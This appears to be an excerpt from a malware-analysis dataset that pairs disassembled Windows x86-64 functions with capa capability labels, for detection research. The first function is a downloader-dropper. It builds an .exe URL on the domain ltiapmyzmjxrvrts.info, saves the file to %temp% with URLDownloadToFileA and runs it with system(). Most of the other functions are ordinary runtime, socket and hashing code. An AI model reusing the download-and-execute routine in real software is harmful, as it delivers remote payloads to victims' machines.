joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x401483
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.1186465978
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.da_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.snmpapi.dll_SnmpSvcGetUptime
lea rax, [0x004020ad]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020ca]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilVarBindFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x14000dba0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000da10

Function at 0x140011ec4
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14001d310]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000f158
xor ebx, ebx
cmp qword [0x14001efb8], rbx
mov rdi, rax
jne 0x140011fd7
lea rcx, [0x140018378]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400120ae
lea rdx, [0x140018368]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400120ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x140018358]
mov rcx, rsi
mov qword [0x14001efb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x140018340]
mov rcx, rsi
mov qword [0x14001efc0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x140018320]
mov rcx, rsi
mov qword [0x14001efc8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14001efd8], rax
test rax, rax
je 0x140011fce
lea rdx, [0x140018308]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14001efd0], rax
jmp 0x140011fde
mov rax, qword [0x14001efd0]
jmp 0x140011fe5
mov rax, qword [0x14001efd0]
mov r11, qword [0x14001efd8]
cmp rax, rdi
je 0x14001204c
cmp r11, rdi
je 0x14001204c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14001efd8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14001204c
test rax, rax
je 0x14001204c
call rsi
test rax, rax
je 0x140012046
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140012046
test byte [rsp + 0x40], 1
jne 0x14001204c
bts ebp, 0x15
jmp 0x14001208c
mov rcx, qword [0x14001efc0]
cmp rcx, rdi
je 0x14001208c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001208c
call rax
mov rbx, rax
test rax, rax
je 0x14001208c
mov rcx, qword [0x14001efc8]
cmp rcx, rdi
je 0x14001208c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001208c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14001efb8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400120ae
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400120b0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140010b10
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001413b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001d310]
jne 0x140010b2a
rol rcx, 0x10
test cx, 0xffff
jne 0x140010b26
repz ret
ror rcx, 0x10
jmp 0x140014094
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14001f0c0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14001f1b8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140014119
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14001f0c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001413b
mov rax, qword [rsp + 0x88]
mov qword [0x14001f1b8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14001f158], rax
mov rax, qword [0x14001f1b8]
mov qword [0x14001f030], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14001f140], rax
mov dword [0x14001f020], 0xc0000409
mov dword [0x14001f024], 1
mov rax, qword [0x14001d310]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001d318]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14001f0b8], eax
mov ecx, 1
call fcn.140013f4c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400187a0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14001f0b8], 0
jne 0x1400141c2
mov ecx, 1
call fcn.140013f4c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140012530
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov rax, qword [0x1402ca088]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, r9
mov rdi, r8
mov r14, rcx
mov ecx, gethostname
call fcn.140157c10
mov rsi, rax
mov qword [rsp + 0x30], rax
lea rdx, [0x140314848]
mov rcx, rax
call fcn.14000fdc0
mov rax, qword [rbx]
mov qword [rsi + 0x20], rax
mov rax, qword [rdi]
mov qword [rsi + 0x28], rax
lea rax, [0x14000e450]
mov qword [rsi + 0x30], rax
mov qword [rsp + 0x30], rsi
lea rbx, [r14 + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
mov r9, rsi
lea r8, [0x140017600]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [r14], rax
test rax, rax
je 0x1400125ef
mov rax, r14
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140157bf0
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14001f3e0
Capabilities:
Hash data using crc32b

Disassembly:
xor r9d, r9d
lea r10, [0x140317dc0]
nop word [rax + rax]
xor eax, eax
test r9b, 1
je 0x14001f3fc
bts eax, 7
mov ecx, r9d
shr ecx, 1
test cl, 1
je 0x14001f40a
bts eax, 6
shr ecx, 1
test cl, 1
je 0x14001f415
bts eax, 5
shr ecx, 1
test cl, 1
je 0x14001f420
bts eax, 4
shr ecx, 1
test cl, 1
je 0x14001f42b
bts eax, 3
shr ecx, 1
test cl, 1
je 0x14001f436
bts eax, 2
shr ecx, 1
test cl, 1
je 0x14001f441
bts eax, 1
test cl, 2
je 0x14001f44a
bts eax, 0
shl eax, 0x18
lea ecx, [rax + rax]
mov edx, ecx
xor edx, 0x4c11db7
test eax, eax
cmovns edx, ecx
lea eax, [rdx + rdx]
mov ecx, eax
xor ecx, 0x4c11db7
test edx, edx
cmovns ecx, eax
lea eax, [rcx + rcx]
mov edx, eax
xor edx, 0x4c11db7
test ecx, ecx
cmovns edx, eax
lea eax, [rdx + rdx]
mov ecx, eax
xor ecx, 0x4c11db7
test edx, edx
cmovns ecx, eax
lea eax, [rcx + rcx]
mov edx, eax
xor edx, 0x4c11db7
test ecx, ecx
cmovns edx, eax
lea eax, [rdx + rdx]
mov ecx, eax
xor ecx, 0x4c11db7
test edx, edx
cmovns ecx, eax
lea eax, [rcx + rcx]
mov edx, eax
xor edx, 0x4c11db7
test ecx, ecx
cmovns edx, eax
lea eax, [rdx + rdx]
mov r8d, eax
xor r8d, 0x4c11db7
test edx, edx
cmovns r8d, eax
xor ecx, ecx
lea edx, [rcx + 0x1e]
test r8b, 1
je 0x14001f4e1
lea eax, [rdx + 1]
bts ecx, eax
sar r8d, 1
test r8b, 1
je 0x14001f4ed
bts ecx, edx
sar r8d, 1
sub edx, 2
cmp edx, 0xfffffffe
jg 0x14001f4d5
mov dword [r10], ecx
inc r9d
add r10, 4
cmp r9d, 0x100
jl 0x14001f3f0
mov dword [0x1403181c0], 1
ret
Function at 0x140020620
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp dword [r8 + 0x40], 1
mov rdi, r9
mov rbx, r8
mov r14, rdx
mov rbp, rcx
je 0x14002064f
xor eax, eax
jmp 0x140020807
mov ecx, dword [r9 + 0x10]
mov qword [rsp + 0x30], rsi
call qword [sym.imp.WS2_32.dll_ntohl]
mov esi, eax
lea rax, [rsi - 1]
cmp rax, 0xfe
ja 0x1400207e7
mov ecx, dword [rdi + 0x1c]
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, dword [rbx + 0xd0]
jne 0x1400207e7
mov ecx, dword [rdi + 0x20]
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, dword [rbx + 0xc8]
jne 0x1400207e7
mov ecx, dword [rdi + 0x24]
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, dword [rbx + 0xcc]
jne 0x1400207e7
mov eax, dword [rbx + 0x1c]
cmp dword [rdi + 0x28], eax
jne 0x1400207e7
mov edx, 1
mov r8b, 0xff
mov rcx, rbx
call fcn.14001f7e0
cmp rsi, qword [rbx + 0x50]
jae 0x1400206d5
mov qword [rbx + 0x50], rsi
movzx ecx, word [rdi + 4]
call qword [sym.imp.WS2_32.dll_ntohs]
mov word [rbx + 0x18], ax
movzx eax, byte [rdi + 6]
mov byte [rbx + 0x21], al
movzx eax, byte [rdi + 7]
mov byte [rbx + 0x20], al
mov ecx, dword [rdi + 8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, 0x240
mov esi, 0x1000
cmp eax, ecx
jb 0x14002070f
cmp eax, esi
mov ecx, eax
cmova ecx, esi
cmp ecx, dword [rbx + 0xfc]
jae 0x14002071d
mov dword [rbx + 0xfc], ecx
mov ecx, dword [rdi + 0xc]
call qword [sym.imp.WS2_32.dll_ntohl]
cmp eax, esi
jb 0x140020736
mov ecx, 0x10000
mov esi, eax
cmp eax, ecx
cmova esi, ecx
cmp esi, dword [rbx + 0x100]
jae 0x140020744
mov dword [rbx + 0x100], esi
mov ecx, dword [rdi + 0x14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbx + 0x58], eax
mov ecx, dword [rdi + 0x18]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbx + 0x5c], eax
mov dword [rbp + 0x80], 1
mov ecx, dword [rbx + 0x40]
test r14, r14
je 0x1400207cc
lea eax, [rcx - 5]
cmp eax, 1
jbe 0x140020792
cmp dword [rbx + 0x58], 0
je 0x140020787
mov rax, qword [rbx + 0x10]
inc qword [rax + 0x2b60]
mov rax, qword [rbx + 0x10]
inc qword [rax + 0x2b58]
xor eax, eax
mov dword [rbx + 0x40], 5
mov qword [rbx + 0x80], rax
mov qword [rbx + 0x70], rax
mov qword [rbx + 0xa0], rax
mov dword [rbx + 0xac], eax
mov dword [r14], 1
mov qword [r14 + 8], rbx
mov eax, dword [rbx + 0x1f8]
mov dword [r14 + 0x14], eax
xor eax, eax
jmp 0x140020802
xor eax, eax
mov rdx, rbx
cmp ecx, 1
mov rcx, rbp
sete al
lea r8d, [rax + 3]
call fcn.14001f5a0
xor eax, eax
jmp 0x140020802
xor eax, eax
mov rdx, rbx
mov rcx, rbp
mov dword [rbx + 0x1f8], eax
lea r8d, [rax + 9]
call fcn.14001f5a0
lea eax, [r8 - 0xa]
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140024470
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1402ca088]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor ebx, ebx
cmp dword [0x1403172e8], ebx
jne 0x140024526
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x48]
mov edi, 1
mov dword [0x1403172e8], edi
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov dword [0x1403172ec], eax
test eax, eax
je 0x1400244d9
lea rcx, [0x1403182e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rsp + 0x48]
divsd xmm0, qword [0x1402a92c0]
jmp 0x140024519
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x107b2
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x26], rdi
mov word [rsp + 0x2e], bx
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov ecx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x30]
movsd xmm0, qword [0x1402a9250]
shl rcx, 0x20
or rcx, rax
mov qword [0x1403182e0], rcx
mov rdi, qword [rsp + 0x70]
movsd qword [0x1403182e8], xmm0
cmp dword [0x1403172ec], ebx
je 0x140024540
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x40]
jmp 0x14002455f
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x38]
shl rax, 0x20
or rax, rcx
mov qword [rsp + 0x40], rax
sub rax, qword [0x1403182e0]
xorps xmm0, xmm0
movabs r9, 0x431bde82d7b634db
cvtsi2sd xmm0, rax
mov rax, r9
divsd xmm0, qword [0x1403182e8]
cvttsd2si rcx, xmm0
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0xf4240
sub ecx, eax
imul eax, ecx, 0x3e8
movsxd r8, eax
movsxd rax, edx
imul rcx, rax, 0x3b9aca00
add r8, rcx
lock xadd qword [0x1403172f0], rbx
test rbx, rbx
jne 0x1400245de
lea rcx, [r8 - 0xf4240]
xor eax, eax
lock cmpxchg qword [0x1403172f0], rcx
mov rbx, rax
cmove rbx, rcx
sub r8, rbx
mov rax, r9
mul r8
shr rdx, 0x12
mov eax, edx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140157bf0
add rsp, 0x60
pop rbx
ret
Function at 0x140024600
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x1402ca088]
xor rax, rsp
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
lea r9, [rsp + 0x20]
mov rax, rdx
lea r8, [rsp + 0x28]
mov rbx, rcx
xor edi, edi
mov rcx, rax
mov qword [rsp + 0x20], rdi
xor edx, edx
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x14002465d
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x1400246d3
jmp 0x1400246cd
mov r9, qword [rsp + 0x20]
mov rax, r9
test r9, r9
je 0x1400246d3
nop word [rax + rax]
mov r8, qword [rax + 0x20]
test r8, r8
je 0x1400246c1
mov edx, dword [rax + 4]
cmp edx, 2
je 0x14002468f
lea rcx, [rax + 0x10]
test edx, edx
jne 0x1400246b2
cmp qword [rcx], 0x10
jne 0x1400246bb
mov eax, dword [r8 + 4]
test eax, eax
jne 0x140024716
movups xmm0, xmmword [0x14018f398]
mov rcx, r9
movups xmmword [rbx], xmm0
mov word [rbx + 0x12], di
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, edi
jmp 0x1400246d8
cmp edx, 0x17
je 0x1400246f3
test edx, edx
jne 0x1400246c1
cmp qword [rcx], 0x1c
je 0x1400246f3
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x140024670
mov rcx, r9
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140157bf0
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
movups xmm0, xmmword [r8 + 8]
mov rcx, r9
movups xmmword [rbx], xmm0
mov rdx, qword [rax + 0x20]
movzx r8d, word [rdx + 0x18]
mov word [rbx + 0x12], r8w
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, edi
jmp 0x1400246d8
cmp eax, 0xffffffff
jne 0x140024736
movups xmm0, xmmword [0x14018f3b8]
mov rcx, r9
movups xmmword [rbx], xmm0
mov word [rbx + 0x12], di
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, edi
jmp 0x1400246d8
movups xmm0, xmmword [0x14018f3a8]
mov ecx, eax
shr ecx, 8
movups xmmword [rbx], xmm0
mov byte [rbx + 0xd], cl
mov ecx, eax
shr ecx, 0x10
mov byte [rbx + 0xc], al
mov byte [rbx + 0xe], cl
mov rcx, r9
shr eax, 0x18
mov word [rbx + 0xa], 0xffff
mov byte [rbx + 0xf], al
mov word [rbx + 0x12], di
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, edi
jmp 0x1400246d8
Function at 0x140024780
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x80
mov rax, qword [0x1402ca088]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor r14d, r14d
mov rbp, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test rdx, rdx
je 0x1400247e8
movzx ecx, word [rdx + 0x10]
xorps xmm0, xmm0
mov eax, reloc.WS2_32.dll_socket
mov dword [rsp + 0x6c], r14d
movdqu xmmword [rsp + 0x5c], xmm0
mov word [rsp + 0x58], ax
call qword [sym.imp.WS2_32.dll_htons]
movups xmm0, xmmword [rbx]
mov word [rsp + 0x5a], ax
movzx eax, word [rbx + 0x12]
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x40], r14
mov rax, rbx
neg rax
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x58]
mov r8d, ebp
sbb r9d, r9d
mov rdx, rsi
and r9d, 0x1c
mov rcx, rdi
mov dword [rsp + 0x30], r9d
test rbx, rbx
lea r9, [rsp + 0x50]
cmove rax, r14
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
call qword [sym.imp.WS2_32.dll_WSASendTo]
cmp eax, 0xffffffff
jne 0x140024844
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
jmp 0x140024848
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140157bf0
add rsp, 0x80
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140024870
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x90
mov rax, qword [0x1402ca088]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov r10, r8
mov dword [rsp + 0x54], Ordinal_30
mov rbx, rdx
lea r8, [r11 - 0x44]
xor edx, edx
lea rax, [r11 - 0x38]
mov qword [r11 - 0x58], rdx
lea r9, [r11 - 0x40]
mov qword [r11 - 0x60], rdx
test rbx, rbx
mov dword [rsp + 0x50], edx
cmove r8, rdx
cmove rax, rdx
mov qword [r11 - 0x68], r8
lea r8d, [rdx + 1]
mov qword [r11 - 0x70], rax
mov rdx, r10
lea rax, [r11 - 0x48]
mov qword [r11 - 0x78], rax
call qword [sym.imp.WS2_32.dll_WSARecvFrom]
cmp eax, 0xffffffff
jne 0x1400248f8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
je 0x1400248f4
cmp eax, 0x13
jne 0x140024902
xor eax, eax
jmp 0x140024932
test dword [rsp + 0x50], 0x8000
je 0x140024909
mov eax, 0xffffffff
jmp 0x140024932
test rbx, rbx
je 0x14002492e
movups xmm0, xmmword [rsp + 0x68]
movzx ecx, word [rsp + 0x62]
movups xmmword [rbx], xmm0
call qword [sym.imp.WS2_32.dll_ntohs]
mov word [rbx + 0x10], ax
movzx eax, word [rsp + 0x78]
mov word [rbx + 0x12], ax
mov eax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140157bf0
add rsp, 0x90
pop rbx
ret
Function at 0x140031840
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402ca088]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.140157c10
mov qword [rax], rbx
mov qword [rsp + 0x30], rax
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140032b60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x1400318b9
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140157bf0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x1400318d0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x1402ca088]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, r9
mov rsi, r8
mov r15, rcx
mov rbx, qword [rsp + 0x90]
xor ebp, ebp
lea ecx, [rbp + 0x58]
call fcn.140157c10
mov r14, rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x98]
mov ecx, dword [rax]
mov dword [r14], ecx
xorps xmm0, xmm0
movups xmmword [r14 + 8], xmm0
mov qword [r14 + 0x18], rbp
mov qword [r14 + 0x20], rbp
movups xmm0, xmmword [rbx]
movups xmmword [r14 + 8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [r14 + 0x18], xmm1
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], bpl
lea rcx, [r14 + 0x28]
mov rdx, rdi
call fcn.14000fdc0
nop
mov rax, qword [rsi]
mov qword [r14 + 0x48], rax
lea rax, [0x14002c0b0]
mov qword [r14 + 0x50], rax
mov qword [rsp + 0x30], r14
lea rbx, [r15 + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebp
mov r9, r14
lea r8, [0x140032b90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [r15], rax
test rax, rax
je 0x1400319bd
mov rax, r15
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140157bf0
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov dword [rbx], ebp
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3